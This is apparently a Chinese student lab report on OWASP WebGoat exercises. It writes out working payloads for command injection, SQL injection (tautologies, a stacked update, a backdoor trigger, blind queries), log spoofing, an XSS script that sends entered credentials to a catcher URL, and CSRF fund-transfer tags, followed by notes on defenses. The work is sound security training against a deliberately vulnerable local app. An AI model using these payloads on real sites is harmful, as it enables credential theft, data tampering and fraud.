1、实践内容javascript
一、WebGoat安装html
二、SQL注入攻击java
·命令注入(Command Injection)web
·数字型注入(Numeric SQL Injection)正则表达式
·日志欺骗(Log Spoofing)sql
·SQL 注入(LAB: SQL Injection)数据库
·字符串注入(String SQL Injection)浏览器
·数据库后门(Database Backdoors)安全
·数字型盲注入(Blind Numeric SQL Injection)服务器
·字符串型盲注入(Blind String SQL Injection)
三、XSS攻击
·XSS 钓鱼(Phishing with XSS)
·存储型XSS攻击(Stored XSS Attacks)
·反射型XSS攻击(Reflected XSS Attacks)
四、CSRF攻击
·跨站请求伪造(Cross Site Request Forgery (CSRF))
·绕过 CSRF 确认( CSRF Prompt By‐Pass)
2、实践过程
一、WebGoat安装
WebGoat是OWASP组织研制出的用于进行web漏洞实验的应用平台,用来讲明web应用中存在的安全漏洞。WebGoat运行在带有java虚拟机的平台之上,目前提供的训练课程有不少,包含了XSS、线程安全、SQL注入、访问控制、隐藏字段、Cookie等。参考网址
·WebGoat默认使用8080端口
,因此开启前先用指令 netstat -tupln | grep 8080 查看端口是否被占用
·若是被占用,用 kill 指令进程号
终止占用8080端口
的进程。
·普通安装,命令行输入 java -jar webgoat-container-7.0.1-war-exec.jar
·浏览器转:localhost:8080/WebGoat
用默认用户名密码登陆便可。
·可是这个时候左侧栏是没有出现学习课程的,因此要下载安装配置一下gdk,参考这篇连接整一下(下图是安装配置前)
二、SQL注入攻击
(1)命令注入(Command Injection)
·概念:命令注入攻击对任何一个以参数驱动的站点来讲都是一个严重威胁。这种攻击技术背后的技术方法,简单易学,能形成大范围的损害,危及系统安全。尽管这类风险数目使人难以置信,互联网中的系统很容易受到这种形式的攻击。
·右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在复选框中任意一栏的代码,右键单击后,选择Edit At Html
进行修改,添加 "& netstat -an & ipconfig" 最后点代码其余位置保存修改。
·点击view
,能够看到执行指令后的网络端口使用状况和IP地址。攻击成功!
(2)数字型注入(Numeric SQL Injection)
·概念:注入数字型数据(如:永真式)达到注入的效果。
·右键点击页面,选择inspect Element
审查网页元素对源代码进行修改,在选中的城市编号Value值
中添加 or 1=1
·显示全部城市的天气状况,攻击成功!
(3)日志欺骗(Log Spoofing)
·概念:经过在日志文件中插入脚本实现欺骗。
·前提:本题目接受用户输入的任何一个用户名,并将其追加到日志文件中。利用入回车(0D%)和换行符(%0A),在 username 中填入 ypc%0d%0aLogin Succeeded for username: admin
·攻击者能够利用这种方式向日志文件中添加恶意脚本,脚本的返回信息管理员可以经过浏览器看到。好比,将 admin <script>alert(document.cookie)</script> 做为用户名输入,能够看到弹窗的cookie信息。
(4)字符串注入(String SQL Injection)
·概念:经过注入字符串绕过认证
·正常状况下只能查询到用户名对应的信用卡号码,输入查询的用户名 Smith' or 1=1-- (Smith 和1=1都成了查询的条件,而1=1是恒等式,所以能查询到表里面的全部数据)
·获得全部用户的信用卡号码,攻击成功!
(5)数据库后门(Database Backdoors)
·输入 101 ,获得该用户的信息。咱们能够看到,输入的语句没有验证,很容易进行 SQL 注入
·输入注入语句 101; update employee set salary=18000 执行两个语句
·输入 101;CREATE TRIGGER myBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='ypp@qq.com'WHERE userid = NEW.userid
·BEFORE/AFTER
参数指定了触发执行的时间,在事件以前或是以后
·FOR EACH ROW
表示任何一条记录上的操做知足触发事件都会触发该触发器,也就是说触发器的触发频率是针对每一行数据
(6)字符串型盲注入(Blind String SQL Injection)
·与数字型盲注入相似,只是将注入的数字换为字符串而已
·例如:输入 101 AND (SUBSTRING((SELECT name FROM pins WHERE cc_number='4321432143214321'), 1, 1) < 'M' ); 取得 pin 字段数值的第一个字母,并判断其是否比字母“M”小,SUBSTRING 语法为 SUBSTRING(STRING,START,LENGTH)
·一样使用二分法进行测试,最后获得pin字段为Jill
三、XSS攻击
概念:跨站脚本攻击是经过HTML注入劫持用户的浏览器,任意构造用户当前浏览的HTML内容,能够模拟用户当前的操做。这里实验的是一种获取用户名和密码的攻击。
(1)XSS 钓鱼(Phishing with XSS)
·编写一段脚本读取被攻击者在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的 WebGoat,一个带用户名和密码输入框的表格以下:
·在XSS
-Phishing with XSS
搜索上面代码,能够看到页面中增长了一个表单
·如今咱们须要一段脚本:
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen." User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+ document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script>
·这段代码会读取咱们在表单上输入的用户名和密码信息,将这些信息发送给捕获这些信息的WebGoat。
·将上面两段代码合并搜索
<script> function hack() { alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.forms[0].user.value + "Password = " + document.forms[0].pass.value); XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user="+document.forms[0].user.value + "&password=" + document.forms[0].pass.value + ""; } </script> <form> <br><br><HR><H3>This feature requires account login:</H3 ><br><br> Enter Username:<br><input type="text" id="user" name="user"><br> Enter Password:<br><input type="password" name = "pass"><br> <input type="submit" name="login" value="login" onclick="hack()"> </form><br><br><HR>
(2)存储型XSS攻击(Stored XSS Attacks)
·在Message中构造语句 <script>alert("20175133 attack succeed!");</script> ,Title
任意输入。提交后可发现刚建立ypp-5133
·点击ypp-5133
,而后会弹出一个对话框,证实XSS攻击成功。
四、CSRF攻击
概念:跨站请求伪造,尽管听起来像跨站脚本(XSS),但它与XSS很是不一样,XSS利用站点内的信任用户,而CSRF则经过假装来自受信任用户的请求来利用受信任的网站。与XSS攻击相比,CSRF攻击每每不大流行(所以对其进行防范的资源也至关稀少)和难以防范,因此被认为比XSS更具危险性.
(1)跨站请求伪造(Cross Site Request Forgery (CSRF))
·点击XSS
-Cross Site Request Forgery(CSRF)
·查看页面右下方Parameters
中的src
和menu
值,个人分别为322
和900
·在Message
框中输入
<img src="http://localhost:8080/WebGoat/attack?Screen=322&menu=900&transferFunds=5000" width="1" height="1" />
·以图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件,点击Submit
提交(其中语句中的&transferFunds=5000
,即转走的受害人的金额;宽高设置成1像素的目的是隐藏该图片)
(2)绕过 CSRF 确认( CSRF Prompt By‐Pass)
·点击XSS
-CSRF Prompt By-Pass
·同上面的攻击,查看页面右下方的Parameters
中的src
和menu
值,并输入任意的Title,message框中输入代码
<iframe src="attack?Screen=321&menu=900&transferFunds=5000"> </iframe> <iframe src="attack?Screen=321&menu=900&transferFunds=CONFIRM"> </iframe>
·点击Submit
生成以Title命名的连接,点击连接,攻击成功
3、问题回答
1.SQL注入攻击原理,如何防护?
原理:
(1)SQL注入,就是经过把SQL命令插入到Web表单递交或输入域名或页面请求的查询字符串,最终达到欺骗服务器执行恶意的SQL命令。
(2)sql注入攻击是利用是指利用设计上的漏洞,在目标服务器上运行Sql语句以及进行其余方式的攻击,动态生成Sql语句时没有对用户输入的数据进行验证是Sql注入攻击得逞的主要缘由。如:在用户名、密码登输入框中输入一些',--,#等特殊字符,实现引号闭合、注释部分SQL语句,利用永真式实现登陆、显示信息等目的。
防护:
(1)关闭或删除没必要要的交互式提交表单页面;
(2)对漏洞注入点相关代码进行关键字的过滤(如:利用正则表达式),以规范代码安全性;
(3)不要在服务器端放置备份的文件以避免受到感染,或备份的文件含有漏洞,形成切入点;
(4)将数据库里的内容进行加密处理使其不具备特殊的意义。
2.XSS攻击的原理,如何防护?
原理:
(1)XSS:跨站脚本。攻击者利用网站漏洞(一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入能够显示在页面上的、对其余用户形成影响的HTML代码;因为受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本(如:html标签或者javascript代码)的页面后,这段恶意脚本能够顺利执行,实现获取用户cookie并能够利用用户身份进行非法操做的目的。
防护:
(1)用户角度:提升防范意识,不要轻易输入我的信息,如用户名密码;
(2)网页制做者角度:
对输入和URL参数进行过滤
在输出数据以前对潜在的威胁的字符进行编码、转义
3.CSRF攻击原理,如何防护?
原理:
(1)CSRF :跨站请求伪造。
CSRF就是冒名登陆。跨站请求伪造的核心本质是窃取用户的Session,或者说Cookie,由于目前主流状况Session都是存在Cookie中.攻击者并不关心被害者具体账号和密码,由于一旦用户进行了登陆,Session就是用户的惟一凭证,只要攻击者可以获得Session,就能够假装成被害者进入服务器.
(2)主要是当访问网站A时输入用户名和密码,在经过验证后,网站A产生Cookie信息并返回,此时登陆网站A成功,可正常发送请求到网站A。在未退出网站A前,若访问另外一个网站B,网站B可返回一些攻击性代码并请求访问网站A;所以在网站B的请求下,向网站A发出请求。但网站A不知道该请求恶意的,所以仍是会执行该恶意代码
防护:
(1)验证请求中的Token
(2)验证 Referer
(3)添加加随机验证
(4)设定cookie域
4、实践体会
经过对Webgoat的使用,主要学习了SQL注入攻击、XSS攻击和CSRF攻击。对于这三个方面的攻击,分为不少小模块的学习。在整个学习过程当中,发现咱们此次的实验攻击不少部分都是关于构造语句、更改语句进行的攻击,我以为这个部分虽然如今实现很简单,可是经过学习的不断深刻,如何可以将攻击高层次化,更加完整,是咱们学习的目标。